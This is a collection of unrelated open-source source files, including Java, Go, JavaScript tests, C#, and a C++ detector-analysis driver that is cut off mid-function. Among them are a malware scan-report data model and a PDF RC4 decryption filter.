/* * Copyright (C) 2016 Matthew Seal * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.mseal.control.server; /** * * @author Matthew Seal */ public interface CommandImpl { /** * Command to shutdown the server * * @throws Exception if an error happens while executing the command */ public void serverShutdown() throws Exception; /** * Command to reboot the server * * @throws Exception if an error happens while executing the command */ public void serverRestart() throws Exception; /** * This method is called for custom events * * @param cmd the command to be executed * @param arguments the arguments included in the command * @throws Exception if an error happens while executing the command */ public void serverCommand(String cmd, String arguments) throws Exception; }
matthewseal/ServerControl
src/org/mseal/control/server/CommandImpl.java
Java
gpl-3.0
1,539
/* Copyright (C) 2014-2017 Wolfger Schramm <wolfger@spearwolf.de> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ package kiwotigo type RegionGroup struct { Regions []*Region } func NewRegionGroup(maxRegionCount int) (group *RegionGroup) { group = new(RegionGroup) group.Regions = make([]*Region, 0, maxRegionCount) return group } func (group *RegionGroup) IsInside(region *Region) bool { for _, reg := range group.Regions { if reg == region { return true } } return false } func (group *RegionGroup) IsOverlapping(other *RegionGroup) bool { for _, region := range other.Regions { if group.IsInside(region) { return true } else { for _, neighbor := range region.neighbors { if group.IsInside(neighbor) { return true } } } } return false } func (group *RegionGroup) Merge(other *RegionGroup) { for _, region := range other.Regions { group.Append(region) } } func (group *RegionGroup) Append(region *Region) { if group.IsInside(region) { return } group.Regions = append(group.Regions, region) for _, neighbor := range region.neighbors { group.Append(neighbor) } }
spearwolf/kiwotigo
region_group.go
GO
gpl-3.0
1,706
package net.egyptmagicians.mod; import cpw.mods.fml.relauncher.Side; import cpw.mods.fml.relauncher.SideOnly; import net.minecraft.creativetab.CreativeTabs; import net.minecraft.init.Blocks; import net.minecraft.item.Item; public class _MCreativeTabs { public static CreativeTabs TabEgyptMagicians; public static void mainRegistry(){ TabEgyptMagicians = new CreativeTabs("TabEgyptMagicians"){ @SideOnly(Side.CLIENT) public Item getTabIconItem(){ return Item.getItemFromBlock(Blocks.sandstone); } }; } }
jasonw930/egyptmagicians
net/egyptmagicians/mod/_MCreativeTabs.java
Java
gpl-3.0
528
import { Empty as _Empty } from 'elementor-document/elements/commands'; import ElementsHelper from '../../elements/helper'; export const Empty = () => { QUnit.module( 'Empty', () => { QUnit.test( 'Single Selection', ( assert ) => { const eColumn = ElementsHelper.createSection( 1, true ); ElementsHelper.createButton( eColumn ); ElementsHelper.createButton( eColumn ); // Ensure editor saver. $e.internal( 'document/save/set-is-modified', { status: false } ); ElementsHelper.empty(); // Check. assert.equal( elementor.getPreviewContainer().view.collection.length, 0, 'all elements were removed.' ); assert.equal( elementor.saver.isEditorChanged(), true, 'Command applied the saver editor is changed.' ); } ); QUnit.test( 'Restore()', ( assert ) => { const random = Math.random(), historyItem = { get: ( key ) => { if ( 'data' === key ) { return random; } }, }; let orig = $e.run, tempCommand = ''; // TODO: Do not override '$e.run', use 'on' method instead. $e.run = ( command ) => { tempCommand = command; }; // redo: `true` _Empty.restore( historyItem, true ); $e.run = orig; assert.equal( tempCommand, 'document/elements/empty' ); const addChildModelOrig = elementor.getPreviewView().addChildModel; // Clear. orig = $e.run; tempCommand = ''; let tempData = ''; elementor.getPreviewView().addChildModel = ( data ) => tempData = data; // TODO: Do not override '$e.run', use 'on' method instead. $e.run = ( command ) => { tempCommand = command; }; // redo: `false` _Empty.restore( historyItem, false ); $e.run = orig; elementor.getPreviewView().addChildModel = addChildModelOrig; assert.equal( tempData, random ); } ); } ); }; export default Empty;
kobizz/elementor
tests/qunit/core/editor/document/elements/commands/empty.spec.js
JavaScript
gpl-3.0
1,829
package task19; public class Car { public int speed; public String name; public String color; public Car(){ this.speed = 0; this.name = "noname"; this.color = "unpainted"; } public Car(int speed, String name, String color) { super(); this.speed = speed; this.name = name; this.color = color; } public int getSpeed() { return speed; } public void setSpeed(int speed) { this.speed = speed; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getColor() { return color; } public void setColor(String color) { this.color = color; } }
yulgutlin/eclipsewokspace
task19/src/task19/Car.java
Java
gpl-3.0
650
/* Atmosphere Autopilot, plugin for Kerbal Space Program. Copyright (C) 2015-2016, Baranin Alexander aka Boris-Barboris. Atmosphere Autopilot is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Atmosphere Autopilot is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Atmosphere Autopilot. If not, see <http://www.gnu.org/licenses/>. */ using System; using System.Collections.Generic; using System.Linq; using System.Text; using UnityEngine; namespace AtmosphereAutopilot { public sealed class MouseDirector : StateController { internal MouseDirector(Vessel v) : base(v, "Mouse Director", 88437227) { } //FlightModel imodel; DirectorController dir_c; ProgradeThrustController thrust_c; public override void InitializeDependencies(Dictionary<Type, AutopilotModule> modules) { //imodel = modules[typeof(FlightModel)] as FlightModel; dir_c = modules[typeof(DirectorController)] as DirectorController; thrust_c = modules[typeof(ProgradeThrustController)] as ProgradeThrustController; } protected override void OnActivate() { dir_c.Activate(); thrust_c.Activate(); MessageManager.post_status_message("Mouse Director enabled"); } protected override void OnDeactivate() { dir_c.Deactivate(); thrust_c.Deactivate(); if (indicator != null) indicator.enabled = false; MessageManager.post_status_message("Mouse Director disabled"); } public override void ApplyControl(FlightCtrlState cntrl) { if (vessel.LandedOrSplashed()) return; // // follow camera direction // dir_c.ApplyControl(cntrl, camera_direction, Vector3d.zero); if (thrust_c.spd_control_enabled) thrust_c.ApplyControl(cntrl, thrust_c.setpoint.mps()); } //bool camera_correct = false; Vector3 camera_direction; static CenterIndicator indicator; static Camera camera_attached; public override void OnUpdate() { if (HighLogic.LoadedSceneIsFlight && CameraManager.Instance.currentCameraMode == CameraManager.CameraMode.Flight) { //camera_correct = true; Camera maincamera = FlightCamera.fetch.mainCamera; camera_direction = maincamera.cameraToWorldMatrix.MultiplyPoint(Vector3.back) - FlightCamera.fetch.mainCamera.transform.position; // let's draw a couple of lines to show direction if (indicator == null || camera_attached != maincamera) { indicator = maincamera.gameObject.GetComponent<CenterIndicator>(); if (indicator == null) indicator = maincamera.gameObject.AddComponent<CenterIndicator>(); camera_attached = maincamera; } indicator.enabled = true; } else { //camera_correct = false; indicator.enabled = false; } } [AutoGuiAttr("Director controller GUI", true)] public bool DirGUI { get { return dir_c.IsShown(); } set { if (value) dir_c.ShowGUI(); else dir_c.UnShowGUI(); } } [AutoGuiAttr("Thrust controller GUI", true)] public bool PTCGUI { get { return thrust_c.IsShown(); } set { if (value) thrust_c.ShowGUI(); else thrust_c.UnShowGUI(); } } protected override void _drawGUI(int id) { close_button(); GUILayout.BeginVertical(); AutoGUI.AutoDrawObject(this); thrust_c.SpeedCtrlGUIBlock(); GUILayout.EndVertical(); GUI.DragWindow(); } public class CenterIndicator : MonoBehaviour { Material mat = new Material(Shader.Find("Sprites/Default")); Vector3 startVector = new Vector3(0.494f, 0.5f, -0.001f); Vector3 endVector = new Vector3(0.506f, 0.5f, -0.001f); //public new bool enabled = false; public void OnPostRender() { if (enabled) { GL.PushMatrix(); mat.SetPass(0); mat.color = Color.red; GL.LoadOrtho(); GL.Begin(GL.LINES); GL.Color(Color.red); GL.Vertex(startVector); GL.Vertex(endVector); GL.End(); GL.PopMatrix(); enabled = false; } } } } }
Boris-Barboris/AtmosphereAutopilot
AtmosphereAutopilot/Modules/MouseDirector.cs
C#
gpl-3.0
5,249
/* * Copyright (c) 2016. * Modified by Neurophobic Animal on 07/06/2016. */ package cm.aptoide.pt.dataprovider.model.v7; import java.util.List; /** * List of various malware reasons http://ws2.aptoide .com/api/7/getApp/apk_md5sum/7de07d96488277d8d76eafa2ef66f5a8 * <p> * <p> * RANK2: http://ws2.aptoide.com/api/7/getApp/apk_md5sum/7de07d96488277d8d76eafa2ef66f5a8 * http://ws2.aptoide.com/api/7/getApp/apk_md5sum/06c9eb56b787b6d3b606d68473a38f47 * <p> * RANK3: http://ws2.aptoide.com/api/7/getApp/apk_md5sum/18f0d5bdb9df1e0e27604890113c3331 * http://ws2.aptoide.com/api/7/getApp/apk_md5sum/74cbfde9dc6da43d3d14f4df9cdb9f2f * <p> * Rank can be: TRUSTED, WARNING, UNKNOWN, CRITICAL */ public class Malware { public static final String PASSED = "passed"; public static final String WARN = "warn"; public static final String GOOGLE_PLAY = "Google Play"; private Rank rank; private Reason reason; private String added; private String modified; public Malware() { } public Rank getRank() { return this.rank; } public void setRank(Rank rank) { this.rank = rank; } public Reason getReason() { return this.reason; } public void setReason(Reason reason) { this.reason = reason; } public String getAdded() { return this.added; } public void setAdded(String added) { this.added = added; } public String getModified() { return this.modified; } public void setModified(String modified) { this.modified = modified; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $rank = this.getRank(); result = result * PRIME + ($rank == null ? 43 : $rank.hashCode()); final Object $reason = this.getReason(); result = result * PRIME + ($reason == null ? 43 : $reason.hashCode()); final Object $added = this.getAdded(); result = result * PRIME + ($added == null ? 43 : $added.hashCode()); final Object $modified = this.getModified(); result = result * PRIME + ($modified == null ? 43 : $modified.hashCode()); return result; } protected boolean canEqual(Object other) { return other instanceof Malware; } public enum Rank { TRUSTED, WARNING, UNKNOWN, CRITICAL } public static class Reason { private Reason.SignatureValidated signatureValidated; private Reason.ThirdPartyValidated thirdpartyValidated; private Reason.Manual manual; private Reason.Scanned scanned; public Reason() { } public SignatureValidated getSignatureValidated() { return this.signatureValidated; } public void setSignatureValidated(SignatureValidated signatureValidated) { this.signatureValidated = signatureValidated; } public ThirdPartyValidated getThirdpartyValidated() { return this.thirdpartyValidated; } public void setThirdpartyValidated(ThirdPartyValidated thirdpartyValidated) { this.thirdpartyValidated = thirdpartyValidated; } public Manual getManual() { return this.manual; } public void setManual(Manual manual) { this.manual = manual; } public Scanned getScanned() { return this.scanned; } public void setScanned(Scanned scanned) { this.scanned = scanned; } protected boolean canEqual(Object other) { return other instanceof Reason; } public enum Status { passed, failed, blacklisted, warn } public static class SignatureValidated { private String date; private Reason.Status status; private String signatureFrom; public SignatureValidated() { } public String getDate() { return this.date; } public void setDate(String date) { this.date = date; } public Status getStatus() { return this.status; } public void setStatus(Status status) { this.status = status; } public String getSignatureFrom() { return this.signatureFrom; } public void setSignatureFrom(String signatureFrom) { this.signatureFrom = signatureFrom; } protected boolean canEqual(Object other) { return other instanceof SignatureValidated; } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof SignatureValidated)) return false; final SignatureValidated other = (SignatureValidated) o; if (!other.canEqual((Object) this)) return false; final Object this$date = this.getDate(); final Object other$date = other.getDate(); if (this$date == null ? other$date != null : !this$date.equals(other$date)) return false; final Object this$status = this.getStatus(); final Object other$status = other.getStatus(); if (this$status == null ? other$status != null : !this$status.equals(other$status)) { return false; } final Object this$signatureFrom = this.getSignatureFrom(); final Object other$signatureFrom = other.getSignatureFrom(); if (this$signatureFrom == null ? other$signatureFrom != null : !this$signatureFrom.equals(other$signatureFrom)) { return false; } return true; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $date = this.getDate(); result = result * PRIME + ($date == null ? 43 : $date.hashCode()); final Object $status = this.getStatus(); result = result * PRIME + ($status == null ? 43 : $status.hashCode()); final Object $signatureFrom = this.getSignatureFrom(); result = result * PRIME + ($signatureFrom == null ? 43 : $signatureFrom.hashCode()); return result; } public String toString() { return "Malware.Reason.SignatureValidated(date=" + this.getDate() + ", status=" + this.getStatus() + ", signatureFrom=" + this.getSignatureFrom() + ")"; } } public static class ThirdPartyValidated { private String date; private String store; public ThirdPartyValidated() { } public String getDate() { return this.date; } public void setDate(String date) { this.date = date; } public String getStore() { return this.store; } public void setStore(String store) { this.store = store; } protected boolean canEqual(Object other) { return other instanceof ThirdPartyValidated; } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof ThirdPartyValidated)) return false; final ThirdPartyValidated other = (ThirdPartyValidated) o; if (!other.canEqual((Object) this)) return false; final Object this$date = this.getDate(); final Object other$date = other.getDate(); if (this$date == null ? other$date != null : !this$date.equals(other$date)) return false; final Object this$store = this.getStore(); final Object other$store = other.getStore(); if (this$store == null ? other$store != null : !this$store.equals(other$store)) { return false; } return true; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $date = this.getDate(); result = result * PRIME + ($date == null ? 43 : $date.hashCode()); final Object $store = this.getStore(); result = result * PRIME + ($store == null ? 43 : $store.hashCode()); return result; } public String toString() { return "Malware.Reason.ThirdPartyValidated(date=" + this.getDate() + ", store=" + this.getStore() + ")"; } } public static class Manual { private String date; private Reason.Status status; private List<String> av; public Manual() { } public String getDate() { return this.date; } public void setDate(String date) { this.date = date; } public Status getStatus() { return this.status; } public void setStatus(Status status) { this.status = status; } public List<String> getAv() { return this.av; } public void setAv(List<String> av) { this.av = av; } protected boolean canEqual(Object other) { return other instanceof Manual; } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Manual)) return false; final Manual other = (Manual) o; if (!other.canEqual((Object) this)) return false; final Object this$date = this.getDate(); final Object other$date = other.getDate(); if (this$date == null ? other$date != null : !this$date.equals(other$date)) return false; final Object this$status = this.getStatus(); final Object other$status = other.getStatus(); if (this$status == null ? other$status != null : !this$status.equals(other$status)) { return false; } final Object this$av = this.getAv(); final Object other$av = other.getAv(); if (this$av == null ? other$av != null : !this$av.equals(other$av)) return false; return true; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $date = this.getDate(); result = result * PRIME + ($date == null ? 43 : $date.hashCode()); final Object $status = this.getStatus(); result = result * PRIME + ($status == null ? 43 : $status.hashCode()); final Object $av = this.getAv(); result = result * PRIME + ($av == null ? 43 : $av.hashCode()); return result; } public String toString() { return "Malware.Reason.Manual(date=" + this.getDate() + ", status=" + this.getStatus() + ", av=" + this.getAv() + ")"; } } public static class Scanned { private Reason.Status status; private String date; private List<Reason.Scanned.AvInfo> avInfo; public Scanned() { } public Status getStatus() { return this.status; } public void setStatus(Status status) { this.status = status; } public String getDate() { return this.date; } public void setDate(String date) { this.date = date; } public List<AvInfo> getAvInfo() { return this.avInfo; } public void setAvInfo(List<AvInfo> avInfo) { this.avInfo = avInfo; } protected boolean canEqual(Object other) { return other instanceof Scanned; } public static class AvInfo { private List<Reason.Scanned.AvInfo.Infection> infections; private String name; public AvInfo() { } public List<Infection> getInfections() { return this.infections; } public void setInfections(List<Infection> infections) { this.infections = infections; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } protected boolean canEqual(Object other) { return other instanceof AvInfo; } public static class Infection { private String name; private String description; public Infection() { } public String getName() { return this.name; } public void setName(String name) { this.name = name; } public String getDescription() { return this.description; } public void setDescription(String description) { this.description = description; } protected boolean canEqual(Object other) { return other instanceof Infection; } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Infection)) return false; final Infection other = (Infection) o; if (!other.canEqual((Object) this)) return false; final Object this$name = this.getName(); final Object other$name = other.getName(); if (this$name == null ? other$name != null : !this$name.equals(other$name)) { return false; } final Object this$description = this.getDescription(); final Object other$description = other.getDescription(); if (this$description == null ? other$description != null : !this$description.equals(other$description)) { return false; } return true; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $name = this.getName(); result = result * PRIME + ($name == null ? 43 : $name.hashCode()); final Object $description = this.getDescription(); result = result * PRIME + ($description == null ? 43 : $description.hashCode()); return result; } public String toString() { return "Malware.Reason.Scanned.AvInfo.Infection(name=" + this.getName() + ", description=" + this.getDescription() + ")"; } } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof AvInfo)) return false; final AvInfo other = (AvInfo) o; if (!other.canEqual((Object) this)) return false; final Object this$infections = this.getInfections(); final Object other$infections = other.getInfections(); if (this$infections == null ? other$infections != null : !this$infections.equals(other$infections)) { return false; } final Object this$name = this.getName(); final Object other$name = other.getName(); if (this$name == null ? other$name != null : !this$name.equals(other$name)) return false; return true; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $infections = this.getInfections(); result = result * PRIME + ($infections == null ? 43 : $infections.hashCode()); final Object $name = this.getName(); result = result * PRIME + ($name == null ? 43 : $name.hashCode()); return result; } public String toString() { return "Malware.Reason.Scanned.AvInfo(infections=" + this.getInfections() + ", name=" + this.getName() + ")"; } } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Scanned)) return false; final Scanned other = (Scanned) o; if (!other.canEqual((Object) this)) return false; final Object this$status = this.getStatus(); final Object other$status = other.getStatus(); if (this$status == null ? other$status != null : !this$status.equals(other$status)) { return false; } final Object this$date = this.getDate(); final Object other$date = other.getDate(); if (this$date == null ? other$date != null : !this$date.equals(other$date)) return false; final Object this$avInfo = this.getAvInfo(); final Object other$avInfo = other.getAvInfo(); if (this$avInfo == null ? other$avInfo != null : !this$avInfo.equals(other$avInfo)) { return false; } return true; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $status = this.getStatus(); result = result * PRIME + ($status == null ? 43 : $status.hashCode()); final Object $date = this.getDate(); result = result * PRIME + ($date == null ? 43 : $date.hashCode()); final Object $avInfo = this.getAvInfo(); result = result * PRIME + ($avInfo == null ? 43 : $avInfo.hashCode()); return result; } public String toString() { return "Malware.Reason.Scanned(status=" + this.getStatus() + ", date=" + this.getDate() + ", avInfo=" + this.getAvInfo() + ")"; } } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Reason)) return false; final Reason other = (Reason) o; if (!other.canEqual((Object) this)) return false; final Object this$signatureValidated = this.getSignatureValidated(); final Object other$signatureValidated = other.getSignatureValidated(); if (this$signatureValidated == null ? other$signatureValidated != null : !this$signatureValidated.equals(other$signatureValidated)) { return false; } final Object this$thirdpartyValidated = this.getThirdpartyValidated(); final Object other$thirdpartyValidated = other.getThirdpartyValidated(); if (this$thirdpartyValidated == null ? other$thirdpartyValidated != null : !this$thirdpartyValidated.equals(other$thirdpartyValidated)) { return false; } final Object this$manual = this.getManual(); final Object other$manual = other.getManual(); if (this$manual == null ? other$manual != null : !this$manual.equals(other$manual)) { return false; } final Object this$scanned = this.getScanned(); final Object other$scanned = other.getScanned(); if (this$scanned == null ? other$scanned != null : !this$scanned.equals(other$scanned)) { return false; } return true; } public int hashCode() { final int PRIME = 59; int result = 1; final Object $signatureValidated = this.getSignatureValidated(); result = result * PRIME + ($signatureValidated == null ? 43 : $signatureValidated.hashCode()); final Object $thirdpartyValidated = this.getThirdpartyValidated(); result = result * PRIME + ($thirdpartyValidated == null ? 43 : $thirdpartyValidated.hashCode()); final Object $manual = this.getManual(); result = result * PRIME + ($manual == null ? 43 : $manual.hashCode()); final Object $scanned = this.getScanned(); result = result * PRIME + ($scanned == null ? 43 : $scanned.hashCode()); return result; } public String toString() { return "Malware.Reason(signatureValidated=" + this.getSignatureValidated() + ", thirdpartyValidated=" + this.getThirdpartyValidated() + ", manual=" + this.getManual() + ", scanned=" + this.getScanned() + ")"; } } public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Malware)) return false; final Malware other = (Malware) o; if (!other.canEqual((Object) this)) return false; final Object this$rank = this.getRank(); final Object other$rank = other.getRank(); if (this$rank == null ? other$rank != null : !this$rank.equals(other$rank)) return false; final Object this$reason = this.getReason(); final Object other$reason = other.getReason(); if (this$reason == null ? other$reason != null : !this$reason.equals(other$reason)) { return false; } final Object this$added = this.getAdded(); final Object other$added = other.getAdded(); if (this$added == null ? other$added != null : !this$added.equals(other$added)) return false; final Object this$modified = this.getModified(); final Object other$modified = other.getModified(); if (this$modified == null ? other$modified != null : !this$modified.equals(other$modified)) { return false; } return true; } public String toString() { return "Malware(rank=" + this.getRank() + ", reason=" + this.getReason() + ", added=" + this.getAdded() + ", modified=" + this.getModified() + ")"; } }
Aptoide/aptoide-client-v8
dataprovider/src/main/java/cm/aptoide/pt/dataprovider/model/v7/Malware.java
Java
gpl-3.0
20,548
using System.Reflection; using System.Resources; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Windows; // アセンブリに関する一般情報は以下の属性セットをとおして制御されます。 // アセンブリに関連付けられている情報を変更するには、 // これらの属性値を変更してください。 [assembly: AssemblyTitle("About")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("About")] [assembly: AssemblyCopyright("Copyright © 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // ComVisible を false に設定すると、その型はこのアセンブリ内で COM コンポーネントから // 参照不可能になります。COM からこのアセンブリ内の型にアクセスする場合は、 // その型の ComVisible 属性を true に設定してください。 [assembly: ComVisible(false)] //ローカライズ可能なアプリケーションのビルドを開始するには、 //.csproj ファイルの <UICulture>CultureYouAreCodingWith</UICulture> を //<PropertyGroup> 内部で設定します。たとえば、 //ソース ファイルで英語を使用している場合、<UICulture> を en-US に設定します。次に、 //下の NeutralResourceLanguage 属性のコメントを解除します。下の行の "en-US" を //プロジェクト ファイルの UICulture 設定と一致するよう更新します。 //[assembly: NeutralResourcesLanguage("en-US", UltimateResourceFallbackLocation.Satellite)] [assembly: ThemeInfo( ResourceDictionaryLocation.None, //テーマ固有のリソース ディクショナリが置かれている場所 //(リソースがページ、 //またはアプリケーション リソース ディクショナリに見つからない場合に使用されます) ResourceDictionaryLocation.SourceAssembly //汎用リソース ディクショナリが置かれている場所 //(リソースがページ、 //アプリケーション、またはいずれのテーマ固有のリソース ディクショナリにも見つからない場合に使用されます) )] // アセンブリのバージョン情報は次の 4 つの値で構成されています: // // メジャー バージョン // マイナー バージョン // ビルド番号 // Revision // // すべての値を指定するか、下のように '*' を使ってビルドおよびリビジョン番号を // 既定値にすることができます: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
tor4kichi/ReactiveFolder
Module/About/Properties/AssemblyInfo.cs
C#
gpl-3.0
2,785
/** * This file is part of veraPDF Parser, a module of the veraPDF project. * Copyright (c) 2015, veraPDF Consortium <info@verapdf.org> * All rights reserved. * * veraPDF Parser is free software: you can redistribute it and/or modify * it under the terms of either: * * The GNU General public license GPLv3+. * You should have received a copy of the GNU General Public License * along with veraPDF Parser as the LICENSE.GPL file in the root of the source * tree. If not, see http://www.gnu.org/licenses/ or * https://www.gnu.org/licenses/gpl-3.0.en.html. * * The Mozilla Public License MPLv2+. * You should have received a copy of the Mozilla Public License along with * veraPDF Parser as the LICENSE.MPL file in the root of the source tree. * If a copy of the MPL was not distributed with this file, you can obtain one at * http://mozilla.org/MPL/2.0/. */ package org.verapdf.cos.filters; import org.verapdf.as.filters.io.ASBufferingInFilter; import org.verapdf.as.io.ASInputStream; import org.verapdf.cos.COSKey; import org.verapdf.tools.EncryptionTools; import org.verapdf.tools.RC4Encryption; import java.io.IOException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.Arrays; /** * Filter that decrypts data using RC4 cipher decryption. * * @author Sergey Shemyakov */ public class COSFilterRC4DecryptionDefault extends ASBufferingInFilter { public static final int MAXIMAL_KEY_LENGTH = 16; private RC4Encryption rc4; /** * Constructor. * * @param stream is stream with encrypted data. * @param objectKey contains object and generation numbers from object * identifier for object that is being decrypted. If it is * direct object, objectKey is taken from indirect object * that contains it. * @param encryptionKey is encryption key that is calculated from user * password and encryption dictionary. */ public COSFilterRC4DecryptionDefault(ASInputStream stream, COSKey objectKey, byte[] encryptionKey) throws IOException, NoSuchAlgorithmException { super(stream); initRC4(objectKey, encryptionKey); } @Override public int read(byte[] buffer, int size) throws IOException { if(this.bufferSize() == 0) { int bytesFed = (int) this.feedBuffer(getBufferCapacity()); if (bytesFed == -1) { return -1; } } byte[] encData = new byte[BF_BUFFER_SIZE]; int encDataLength = this.bufferPopArray(encData, size); if (encDataLength >= 0) { byte[] res = rc4.process(encData, 0, encDataLength); System.arraycopy(res, 0, buffer, 0, encDataLength); } return encDataLength; } @Override public int read(byte[] buffer, int off, int size) throws IOException { if(this.bufferSize() == 0) { int bytesFed = (int) this.feedBuffer(getBufferCapacity()); if (bytesFed == -1) { return -1; } } byte[] encData = new byte[BF_BUFFER_SIZE]; int encDataLength = this.bufferPopArray(encData, size); if (encDataLength >= 0) { byte[] res = rc4.process(encData, 0, encDataLength); System.arraycopy(res, 0, buffer, off, encDataLength); } return encDataLength; } @Override public void reset() throws IOException { super.reset(); this.rc4.reset(); } private void initRC4(COSKey objectKey, byte[] encryptionKey) throws NoSuchAlgorithmException { byte[] objectKeyDigest = getObjectKeyDigest(objectKey); MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(ASBufferingInFilter.concatenate(encryptionKey, encryptionKey.length, objectKeyDigest, objectKeyDigest.length)); byte[] resultEncryptionKey = md5.digest(); int keyLength = Math.min(MAXIMAL_KEY_LENGTH, encryptionKey.length + objectKeyDigest.length); rc4 = new RC4Encryption(Arrays.copyOf(resultEncryptionKey, keyLength)); } public static byte[] getObjectKeyDigest(COSKey objectKey) { byte[] res = new byte[5]; System.arraycopy(EncryptionTools.intToBytesLowOrderFirst( objectKey.getNumber()), 0, res, 0, 3); System.arraycopy(EncryptionTools.intToBytesLowOrderFirst( objectKey.getGeneration()), 0, res, 3, 2); return res; } }
shem-sergey/veraPDF-pdflib
src/main/java/org/verapdf/cos/filters/COSFilterRC4DecryptionDefault.java
Java
gpl-3.0
4,631
/*! \file DetectorDriver.cpp * \brief Main driver for event processing * \author S. N. Liddick * \date July 2, 2007 */ #include <algorithm> #include <fstream> #include <iomanip> #include <iostream> #include <iterator> #include <limits> #include <sstream> //This header is for decoding the XML ///@TODO The XML decoding should be moved out of this file and into a /// dedicated class. #include "pugixml.hpp" //These headers are core headers and are needed for basic functionality #include "DammPlotIds.hpp" #include "DetectorDriver.hpp" #include "DetectorLibrary.hpp" #include "Display.h" #include "Exceptions.hpp" #include "HighResTimingData.hpp" #include "RandomPool.hpp" #include "RawEvent.hpp" #include "TreeCorrelator.hpp" //These headers handle trace analysis #include "CfdAnalyzer.hpp" #include "FittingAnalyzer.hpp" #include "TauAnalyzer.hpp" #include "TraceAnalyzer.hpp" #include "TraceExtractor.hpp" #include "TraceFilterAnalyzer.hpp" #include "WaaAnalyzer.hpp" #include "WaveformAnalyzer.hpp" //These headers handle processing of specific detector types #include "BetaScintProcessor.hpp" #include "DoubleBetaProcessor.hpp" #include "Hen3Processor.hpp" #include "GeProcessor.hpp" #include "GeCalibProcessor.hpp" #include "IonChamberProcessor.hpp" #include "LiquidScintProcessor.hpp" #include "LogicProcessor.hpp" #include "McpProcessor.hpp" #include "NeutronScintProcessor.hpp" #include "PositionProcessor.hpp" #include "PspmtProcessor.hpp" #include "SsdProcessor.hpp" #include "TeenyVandleProcessor.hpp" #include "TemplateProcessor.hpp" #include "VandleProcessor.hpp" #include "ValidProcessor.hpp" //These headers are for handling experiment specific processing. #include "TemplateExpProcessor.hpp" #include "VandleOrnl2012Processor.hpp" #ifdef useroot //Some processors REQURE ROOT to function #include "Anl1471Processor.hpp" #include "IS600Processor.hpp" #include "RootProcessor.hpp" #include "TwoChanTimingProcessor.hpp" #endif using namespace std; using namespace dammIds::raw; DetectorDriver* DetectorDriver::instance = NULL; DetectorDriver* DetectorDriver::get() { if (!instance) instance = new DetectorDriver(); return instance; } DetectorDriver::DetectorDriver() : histo(OFFSET, RANGE, "DetectorDriver") { cfg_ = Globals::get()->configfile(); Messenger m; try { m.start("Loading Processors"); LoadProcessors(m); } catch (GeneralException &e) { /// Any exception in registering plots in Processors /// and possible other exceptions in creating Processors /// will be intercepted here m.fail(); cout << "Exception caught at DetectorDriver::DetectorDriver" << endl; cout << "\t" << e.what() << endl; throw; } catch (GeneralWarning &w) { cout << "Warning found at DetectorDriver::DetectorDriver" << endl; cout << "\t" << w.what() << endl; } m.done(); } DetectorDriver::~DetectorDriver() { for (vector<EventProcessor *>::iterator it = vecProcess.begin(); it != vecProcess.end(); it++) delete(*it); vecProcess.clear(); for (vector<TraceAnalyzer *>::iterator it = vecAnalyzer.begin(); it != vecAnalyzer.end(); it++) delete(*it); vecAnalyzer.clear(); instance = NULL; } void DetectorDriver::LoadProcessors(Messenger& m) { pugi::xml_document doc; pugi::xml_parse_result result = doc.load_file(cfg_.c_str()); if (!result) { stringstream ss; ss << "DetectorDriver: error parsing file " << cfg_; ss << " : " << result.description(); throw IOException(ss.str()); } DetectorLibrary::get(); pugi::xml_node driver = doc.child("Configuration").child("DetectorDriver"); for (pugi::xml_node processor = driver.child("Processor"); processor; processor = processor.next_sibling("Processor")) { string name = processor.attribute("name").value(); m.detail("Loading " + name); if (name == "BetaScintProcessor") { double gamma_beta_limit = processor.attribute("gamma_beta_limit").as_double(200.e-9); if (gamma_beta_limit == 200.e-9) m.warning("Using default gamme_beta_limit = 200e-9", 1); double energy_contraction = processor.attribute("energy_contraction").as_double(1.0); if (energy_contraction == 1) m.warning("Using default energy contraction = 1", 1); vecProcess.push_back(new BetaScintProcessor(gamma_beta_limit, energy_contraction)); } else if (name == "GeProcessor") { double gamma_threshold = processor.attribute("gamma_threshold").as_double(1.0); if (gamma_threshold == 1.0) 